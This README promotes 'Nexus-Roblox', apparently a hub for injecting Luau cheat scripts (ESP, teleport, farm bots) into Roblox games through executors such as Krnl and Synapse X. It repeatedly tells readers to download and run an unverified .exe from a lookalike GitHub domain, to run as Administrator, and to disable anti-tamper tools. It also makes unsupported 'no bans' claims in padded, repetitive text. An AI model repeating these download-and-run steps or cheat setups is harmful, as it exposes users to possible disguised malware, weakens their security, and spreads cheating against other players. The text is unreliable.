Nexus-Roblox is an open hub for executing Luau scripts inside Roblox. It provides a compact executor environment and a small hub of supported tools. The project offers free and lifetime packages and hosts releases on the project site. Nexus-Roblox supports execution with all Luau-compatible executors and reports no bans for its hub. The project focuses on a small catalog of tested games and a tight executor hub.
- Free and lifetime packages available
- Hosted releases on the website and GitHub Releases
- Supports all Luau executors
- No reported bans for hub users
- Small, curated list of supported games
- Compact Executor hub with core tools and scripts
- Clear install and run steps
- Simple API for script injection and payload loading
- Cross-platform GUI wrapper for Windows (exe) and portable ZIP builds
GitHub Releases β download the latest release asset and run it.
Note: The link above contains a path to the Releases page. Download the release file posted there (for example, Nexus-Roblox.exe or Nexus-Roblox.zip) and execute it to install or run the hub.
- Keep the hub small. Provide a focused core set of tools rather than a long list of untested features.
- Make setups stable. Test against a set of target games and a set of popular Luau executors.
- Support free users and lifetime users with the same core features.
- Keep the UI minimal. Aim for clear operations: load a script, choose an executor, inject, run.
- Surface logs and runtime errors to help debugging.
Nexus-Roblox works with any executor that speaks standard Luau and accepts script payloads via memory injection, remote function calls, or standard inject APIs. Common supported executors include:
- Sentinel
- Krnl
- Synapse X
- Script-Ware
- Fluxus
- SimpleInject-style executors
If your executor exposes an API for script payload or DLL injection, you can integrate it with Nexus-Roblox. The hub offers adapter examples for common APIs.
- The hub hosts a small server that holds the script catalog, version metadata, and optional payloads.
- The client app downloads a selected script or payload.
- The client hands the script payload to the chosen executor via its injection API.
- The executor runs the script inside Roblox Luau runtime for the target game.
- The client captures console output and runtime errors and displays them in the hub.
This process keeps the hub lightweight and executor-agnostic. The hub does not embed an executor binary; it acts as a loader and script manager.
-
Visit the Releases page: https://github.com/danxingben/Nexus-Roblox/releases
Download the latest release asset listed on that page. The release will include either a compressed archive (Nexus-Roblox.zip) or an executable installer (Nexus-Roblox.exe). Run the file you downloaded. -
Extract or install to a folder you control. Prefer a folder with write access.
-
Launch Nexus-Roblox.exe from the folder. The first run may create a local config folder and a logs folder.
-
Configure your executor path in Settings > Executors. Point to your executor executable or the adapter script if your executor requires an adapter.
-
Open the Hub tab and choose a supported game. Load the script you want from the script catalog or paste a custom Luau payload.
-
Choose your executor and press Inject. Watch the console for output.
- Extract the ZIP to a folder.
- Run Nexus-Roblox.exe.
- Use local settings saved in the folder. Portable mode does not write to Program Files or to global AppData.
Nexus-Roblox targets Windows for native executor interaction. For advanced users, you can run the hub UI on Linux/macOS using Wine or a Windows VM. The hub can still host scripts and catalogs on any OS.
If you run the hub on a non-Windows system, you must run a compatible executor on a Windows system that can accept remote injections or remote script payloads. Nexus-Roblox can deliver scripts to a remote executor adapter if you set up the adapter scripts.
- Confirm your executor is installed and updated.
- Check that Roblox is installed and that the target game runs.
- Add your executor path in Settings.
- Set logging to Info or Debug for the first run to capture runtime details.
- If you use network features, allow the app network access.
Nexus-Roblox ships with a curated script catalog. The catalog aims to cover the most useful payloads for the supported games. The hub keeps the catalog small and focused.
Example catalog entries:
- Universal Admin v1 β admin commands and role management
- Simple ESP β visual entity overlays, bounding boxes, and labels
- Item Finder β find and list in-game items and pickups
- Teleport Script β teleport helpers and coordinate moves
- Farm Bot β basic automation for repetitive tasks
Curated games (limited list)
- Adopt Me
- Brookhaven
- Blox Fruits
- Arsenal
- Phantom Forces
The hub does not try to support every game. It focuses on a tested, small list. If you need a game and the hub does not include it, you can add a script to the My Scripts section.
The Executor hub in Nexus-Roblox organizes executors and their adapters. The hub shows:
- Executor name
- Executable path
- Supported injection methods
- Last tested version
- Notes and adapter script
Adapter scripts
- Basic inject adapter: runs an executor with a pipe-based payload loader.
- DLL adapter: attaches a DLL to the executor to provide script injection via shared memory.
- Remote adapter: accepts scripts over TCP and forwards them to a local executor.
Add an executor
- Settings > Executors > Add
- Enter a name, select method (LocalExe, DLL, Remote), provide path or URL.
- Test the executor using the Test button. The hub sends a simple echo payload to validate the adapter.
- Use the Console view to see print output and Luau errors.
- Enable Verbose logging in Settings for stack traces.
- Use the Snapshot tool to capture the game state before and after running scripts.
- Use Breakpoints in large scripts by inserting calls to the Pause API and then stepping with the hubβs stepper.
- Open Console.
- Paste a small script into the Script Editor:
for i = 1, 5 do print("Hello from Nexus-Roblox", i) wait(0.5) end
- Choose your executor.
- Press Inject.
- Observe print lines in Console.
- Nexus-Roblox separates the hub from executors. The hub stores scripts and metadata. It does not embed or run the executor binary.
- The hub uses signed releases. Verify the GitHub release checksum if you need cryptographic validation.
- The hub logs runtime output locally in logs/*.log so you can inspect behavior.
- The hub includes a whitelist for script sources. You can disable remote script downloads and only allow local scripts.
Privacy
- The hub collects minimal telemetry for crash reports. You can disable telemetry in Settings.
- The hub stores a local configuration file for executor paths and user preferences.
- Nexus-Roblox keeps memory use small by streaming script payloads rather than caching large binaries.
- Console operations use buffered I/O to avoid blocking the UI.
- The inject operation occurs on a separate thread to keep the UI responsive.
Common issues and quick fixes:
-
No output in Console
- Ensure the executor adapter supports console forwarding.
- Set logging to Debug in Settings.
- Confirm Roblox runs the target game and the executor attaches correctly.
-
Executor test fails
- Check the executor path.
- If using DLL injection, ensure you run the hub as Administrator.
- For remote adapters, verify the adapter host and port.
-
Script fails with runtime error
- Check the Luau syntax.
- Verify the script uses game-specific APIs available in the target game.
- Run the script in a safe single-player test game to reproduce the error.
-
Injection fails with access denied
- Run the hub with elevated privileges.
- Disable anti-tamper tools that block process injection.
Q: Where do I get the release files?
A: Visit the GitHub Releases page at https://github.com/danxingben/Nexus-Roblox/releases and download the asset. The release page lists the executable or ZIP file. Download the file and run it.
Q: Does Nexus-Roblox ban accounts?
A: The hub reports no bans for its users. The hub does not perform game-side actions that alter server rules. Use scripts responsibly.
Q: Which executors work with Nexus-Roblox?
A: Nexus-Roblox supports executors that accept Luau payloads. It includes adapter examples for common executors like Synapse X, Krnl, and Fluxus.
Q: Can I add my own scripts?
A: Yes. Use My Scripts > Add Script to import local Luau scripts. The hub supports script versioning.
Q: Do I need admin rights?
A: Some injection adapters require elevated rights. The hub itself runs without admin rights for most features.
Automation and CI
- The hub exposes a CLI adapter to load and run scripts in headless mode.
- Use the CLI for scripted test runs against a test executor.
- The CLI supports JSON output for parsing results in CI.
Scripting APIs
- ScriptLoader API: GET/POST endpoints to fetch and store scripts on the hub server.
- Adapter API: TCP-based protocol to stream scripts to a remote adapter.
- Event API: WebSocket events for console output, injection status, and script lifecycle.
Custom adapters
- Implement the adapter protocol by accepting a JSON handshake and a script payload.
- Implement simple messages: HELLO, PAYLOAD, EXECUTE, STATUS, OUTPUT.
- The hub includes a sample adapter in the adapters/ folder for reference.
- The project uses a modular architecture: UI, Core, Adapters, Catalog.
- Core handles catalog metadata, script signing, and local storage.
- Adapters implement executor communication.
- UI remains thin and focuses on orchestration.
Build system
- The project uses a standard build process that compiles the UI and bundles the core.
- Use the build script provided in the repo to create release artifacts.
- Fork and branch for each feature or bug fix.
- Open a pull request with a clear description of the change.
- Include tests for core behavior when possible.
- Use the same code style as the repository. Keep functions small and single-purpose.
- Document new adapter protocols and scripts in the docs folder.
- Respect other contributors.
- Keep discussions technical and focused.
- Report issues using GitHub Issues with reproducible steps.
Check the Releases page for full release notes and assets: https://github.com/danxingben/Nexus-Roblox/releases
Example changelog entries:
- v1.2.0 β Added remote adapter and catalog signing.
- v1.1.0 β Added CLI mode and portable ZIP builds.
- v1.0.0 β Initial hub release with core features and script catalog.
- This project uses the MIT license. See the LICENSE file in the repo for details.
- Use this tool in a way that follows the platform rules and community guidelines.
- Avoid actions that harm other users or compromise servers.
- The UI supports English by default.
- Community translations can add other languages in the i18n/ folder.
- Place translations in JSON files named for the locale code, e.g., en-US.json.
- Logs save to logs/YYYY-MM-DD.log by default.
- Use the Diagnostic panel to upload a diagnostics bundle for support.
- The bundle includes logs, config, and recent console output.
- Config and My Scripts export to a single JSON file for backup.
- Restore by using Settings > Import Config.
- Player wants a tight hub to run a small set of admin scripts for private games.
- Developer needs a test harness to load payloads into a test executor in CI.
- Researcher wants to capture runtime prints and errors when experimenting with Luau code.
- Integrate with a remote adapter on a dedicated Windows machine to execute payloads from a Linux host.
- Use the CLI to run a set of scripts as part of a regression test.
- Telemetry remains optional and off by default.
- Collected data includes crash stack traces and app version.
- Users can opt out in Settings.
- Nexus-Roblox focuses on a small game list and a compact catalog. It does not aim to support every game.
- The app targets Windows for the executor interactions. Running on other OS may require Wine or a VM.
- The hub does not include every executor binary. You must supply or install your executor.
- Report issues on GitHub.
- Share adapters and scripts as PRs.
- Contribute translations or documentation improvements.
- /src β application source
- /adapters β adapter samples
- /docs β documentation and guides
- /scripts β sample Luau scripts
- /releases β release artifacts (on GitHub Releases)
- Maintain compatibility with major Luau changes.
- Keep a small, curated catalog updated.
- Add adapter examples for new popular executors on demand.
- Reproduce the issue on a clean machine with logs enabled.
- Capture a diagnostics bundle.
- Test adapter with a simple echo script.
- Check for OS-level blockers and security tools.
- Open an issue on GitHub for bugs or feature requests.
- Provide logs and reproduction steps.
- Use the Discussions tab for general questions and how-to topics.
Handshake:
{
"type": "HELLO",
"adapter_version": "1.0",
"capabilities": ["PAYLOAD", "STATUS", "OUTPUT"]
}
Payload:
{
"type": "PAYLOAD",
"script_id": "1234",
"payload": "-- luau script content"
}
Status updates:
{
"type": "STATUS",
"state": "EXECUTING",
"progress": 0.34
}
Output messages:
{
"type": "OUTPUT",
"stdout": "print lines here",
"stderr": ""
}
- Run the adapter on a local port.
- Use the Test Adapter feature in Settings to send a small payload.
- Check the hub Console for the expected output.
- Use the Roblox brand assets with attention to the platform guidelines.
- Keep screenshots generic; avoid user-sensitive data.
- Replace placeholder images with screenshots from your local build when publishing releases.
- Use high-contrast mode in the UI for clarity.
- Support keyboard navigation for main flows: open, select script, inject, view console.
- Add plugin system for community scripts.
- Add remote catalog hosting with optional authentication.
- Add more adapter examples and custom adapters for new executors.
- Download release from Releases page: https://github.com/danxingben/Nexus-Roblox/releases
- Install or extract.
- Configure executor in Settings.
- Load or paste a Luau script.
- Choose executor and Inject.
- Watch Console for output.
- Releases: https://github.com/danxingben/Nexus-Roblox/releases
- Issues: https://github.com/danxingben/Nexus-Roblox/issues
- Pull requests: https://github.com/danxingben/Nexus-Roblox/pulls
- Core design and architecture by the Nexus-Roblox team.
- Adapter examples contributed by community members.
- Script catalog curated by the maintainers.
- Start in portable mode: run Nexus-Roblox.exe from extracted folder.
- Export settings: Settings > Export Config.
- Import config: Settings > Import Config.
- Run headless CLI: Nexus-Roblox.exe --headless --script "path/to/script.lua" --executor "MyExecutor"
- Prepare release artifacts using the build script.
- Tag the release on GitHub and attach the build artifacts.
- Update the changelog with notable changes and bug fixes.
- Announce release in Discussions or community channels.
- Keep adapters small and focused.
- Mock executor responses during development.
- Write unit tests for the core catalog parser.
- Validate script payloads on intake.
- Avoid executing arbitrary code from unknown sources without sandboxing.
- Keep dependencies up to date.
- Local logs: ./logs/YYYY-MM-DD.log
- Config: ./config.json
- My Scripts: ./user_scripts/*.lua
Visit the Releases page to get the latest builds and assets: https://github.com/danxingben/Nexus-Roblox/releases
Download the release asset listed there (for example, an .exe or a .zip) and run it to install or to start the portable build.
- v1.3.0 β Added adapter test harness and simple CLI.
- v1.2.1 β Fixed console buffering issue.
- v1.2.0 β Added remote adapter support and script signing.
- executor
- luau
- roblox
- scripts
- adapters
- MIT license applies to repository source.
- Respect platform rules and community terms when using executors and scripts.
- Use royalty-free images or brand assets per their license.
- Replace placeholder images with your own screenshots for publication.
- Inject: sends the current script to the selected executor.
- Test Executor: validates adapter connectivity.
- Export Config: saves current settings to a file.
- Import Config: loads saved settings.
End of README content for Nexus-Roblox.